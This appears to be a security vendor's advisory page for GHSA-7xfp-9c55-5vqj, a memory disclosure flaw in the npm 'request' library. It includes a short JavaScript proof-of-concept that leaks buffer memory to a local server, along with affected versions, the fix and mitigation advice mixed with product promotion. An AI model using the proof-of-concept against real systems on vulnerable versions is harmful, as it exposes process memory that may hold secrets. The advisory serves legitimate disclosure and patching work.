GHSA-7xfp-9c55-5vqj
MEDIUMGHSA-7xfp-9c55-5vqj is a medium-severity (CVSS 5.9) CWE-201 vulnerability in request. 3 public exploit references exist, so weaponization risk is real. O3 Security confirms whether GHSA-7xfp-9c55-5vqj is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Remote Memory Exposure in request
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
requestnpmDescription
Affected versions of request will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of body is number, then a buffer of that size will be allocated and sent to the remote server as the body.
Proof of Concept
var request = require('request');
var http = require('http');
var serveFunction = function (req, res){
req.on('data', function (data) {
console.log(data)
});
res.end();
};
var server = http.createServer(serveFunction);
server.listen(8000);
request({
method: "POST",
uri: 'http://localhost:8000',
multipart: [{body:500}]
},function(err,res,body){});
Recommendation
Update to version 2.68.0 or later
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | request | ≥ 2.49.0&&< 2.68.0 | 2.68.0 |
| 📦npm | request | ≥ 2.2.6&&< 2.68.0 | 2.68.0 |

Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for request. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update request to 2.68.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7xfp-9c55-5vqj is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-7xfp-9c55-5vqj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-7xfp-9c55-5vqj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-7xfp-9c55-5vqj in your dependencies?
O3 detects GHSA-7xfp-9c55-5vqj across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.
